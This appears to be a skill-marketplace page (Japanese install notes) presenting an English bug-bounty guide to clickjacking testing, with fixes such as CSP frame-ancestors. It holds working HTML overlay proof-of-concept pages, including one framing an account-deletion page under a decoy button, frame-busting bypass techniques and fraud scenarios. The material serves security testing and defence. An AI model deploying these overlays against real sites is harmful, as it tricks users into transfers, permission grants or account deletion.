使い方
- インストールコマンドをコピーし、自分の環境へ導入する前にソースを確認します。
- 必要なツール、認証情報、対応環境を原文で確認します。
- 入力と成果物を指定し、出力を資料と照合します。
npx skills add https://github.com/security-talent/bugskill-ai --skill clickjacking-testing開始前の確認
- 導入にはモデル契約、API枠、ファイルへのアクセス許可は含まれません。
- スター数や導入数は活動の指標であり、独立した品質・安全性試験ではありません。
見出し、例、コード、表、リンク、参照画像を含む原文を表示しています。
Clickjacking
What Is Broken and Why
Clickjacking (UI redressing) works by embedding a target application inside a transparent or partially-visible iframe on an attacker-controlled page. Victims see decoy UI elements but are actually interacting with the hidden target page underneath. Single-click, single-step actions are the most exploitable (fund transfers, account deletions, permission grants, one-click purchases). The vulnerability exists when a page can be framed, either because framing protection headers are absent or because deployed JavaScript frame-busting code is bypassable.
Key Signals
- Missing
X-Frame-Optionsheader (DENYorSAMEORIGIN) - Missing
Content-Security-Policy: frame-ancestors 'none'orframe-ancestors 'self' - Target page loads successfully in a test iframe
- Frame-busting JavaScript present (
top.location === self.location) but bypassable - State-changing one-click actions (confirm, approve, authorize, delete) on authenticated pages
- Browser developer tools: Network tab shows page loaded as iframe sub-resource
Methodology
- Attempt to load the target page in an iframe using the PoC HTML below.
- Check response headers for
X-Frame-OptionsandContent-Security-Policy: frame-ancestors. - If the page loads in the iframe, confirm it is the authenticated/functional version.
- Identify high-impact one-click actions on the framed page.
- Construct a PoC with overlaid decoy buttons positioned over target action buttons.
- Test frame-busting bypass techniques if JavaScript protection is detected.
- Verify across browsers (Chrome, Firefox, Safari) as behavior differs.
Payloads & Tools
<!-- Basic detection PoC -->
<html>
<head><title>Clickjacking detection</title></head>
<body>
<iframe src="TARGET/" width="800" height="600"></iframe>
</body>
</html>
<!-- Full attack PoC — transparent overlay -->
<html>
<head>
<style>
iframe {
position: absolute;
width: 800px;
height: 600px;
opacity: 0.0; /* Set to 0.5 for testing, 0.0 for actual attack */
z-index: 2;
}
.decoy {
position: absolute;
top: 340px; /* Adjust to align with target button */
left: 200px;
z-index: 1;
background: #ff0000;
padding: 10px 20px;
cursor: pointer;
}
</style>
</head>
<body>
<div class="decoy">Click here to win a prize!</div>
<iframe src="TARGET/account/delete" scrolling="no"></iframe>
</body>
</html>
<!-- Double-framing to bypass parent.location frame-busting -->
<html>
<body>
<iframe src="attacker-inner.html">
<!-- attacker-inner.html contains iframe of TARGET/ -->
</iframe>
</body>
</html>
<!-- attacker-inner.html: -->
<iframe src="TARGET/"></iframe>
<!-- Sandbox attribute to disable frame-busting JS -->
<iframe src="TARGET/" sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
<!-- Note: omit allow-top-navigation to prevent frame-busting -->
<!-- Disable JS entirely (IE restricted zone) -->
<iframe src="TARGET/" security="restricted"></iframe>
<!-- Browser header check -->
curl -s -I TARGET/ | grep -i "x-frame-options\|frame-ancestors"
<!-- Burp Suite: identify clickjacking -->
<!-- Proxy -> HTTP History -> right-click response -> 'Check Clickjacking' (via extension) -->
<!-- Or: manually check Response headers for X-Frame-Options -->Bypass Techniques
- Double framing: Nest target within two iframes;
parent.locationassignment fails silently when attacker controls the middle frame - sandbox attribute:
sandbox="allow-forms allow-scripts"withoutallow-top-navigationdisables frame-busting navigation - HTML5 sandbox without allow-top-navigation: frame-busting
top.location = self.locationthrows security exception, ignored - onBeforeUnload exploitation: Attacker page fires repeated navigation requests; victim's browser prompts "are you sure?" canceling frame-bust
- Location variable redefinition (IE7/8, Safari 4): Override
window.locationas a non-writable property, breaking frame-busting assignment - XSS filter abuse: Inject the beginning of the frame-busting script into a URL parameter, inducing a false XSS positive that deactivates the script
- designMode: Some browsers allow setting document to designMode, preventing frame-bust navigation
- Drag-and-drop clickjacking: Multipart attack using browser drag-and-drop API instead of clicks
Exploitation Scenarios
Scenario 1 — Unauthorized Fund Transfer Setup: Banking transfer form is a single page with pre-filled amounts from URL parameters; no clickjacking protection. Trigger: Attacker crafts TARGET/transfer?amount=500&to=attacker-acct, embeds in transparent iframe with opacity 0.0, overlaid with "Confirm your free delivery" button. Impact: Victim clicks decoy button, unknowingly submits transfer; funds moved to attacker account.
Scenario 2 — Social Media Permission Grant Setup: OAuth permission grant page can be framed; one "Authorize" button present. Trigger: Attacker embeds transparent iframe of permission page over a "Play game" button on their site. Impact: Victim grants application full permission to their social media account without realizing.
Scenario 3 — Account Deletion via Double-Framing Setup: Account deletion page has frame-busting JavaScript (if (top != self) top.location = self.location). Trigger: Attacker uses double-framing to neutralize frame-bust; positions "Delete my account" button under a decoy. Impact: Victim's account deleted; frame-busting protection rendered ineffective.
False Positives
X-Frame-Options: SAMEORIGINcorrectly deployed — page loads in iframe from same origin but not cross-origin (not exploitable from attacker site)Content-Security-Policy: frame-ancestors 'self'properly preventing cross-origin framing- JavaScript frame-busting that actually works in the tested browser (test across all major browsers)
- Target page requires form submission or multi-step interaction (single-click requirement not met)
Fix Patterns
- Preferred:
Content-Security-Policy: frame-ancestors 'none'(no framing at all) orframe-ancestors 'self'(same-origin only) - Legacy support:
X-Frame-Options: DENYorX-Frame-Options: SAMEORIGIN(supported IE8+, Firefox 3.6.9+, Chrome 4.1+) X-Frame-Options: ALLOW-FROM originfor specific trusted origins (not supported in Chrome/Safari — use CSP instead)- Do not rely solely on JavaScript frame-busting — all known JS techniques are bypassable
- For high-value actions: require re-authentication or CSRF tokens that change per-page-load, reducing clickjacking payoff
- Apply defense-in-depth: combine CSP frame-ancestors with SameSite=Strict cookies to require direct navigation for sensitive actions
Related Skills
Clickjacking is a user-assisted [[csrf]] variant: rather than forging a request invisibly, it tricks the victim into clicking a UI element that triggers the sensitive action. If the target page lacks SameSite protections and also lacks framing protection, both clickjacking and [[csrf]] may be independently exploitable. If the page can be framed and also reflects user input, an [[xss-reflected]] payload can be delivered inside the frame to capture interactions. [[cors-misconfig]] on a parent-framed page can be combined to read responses from the framed origin.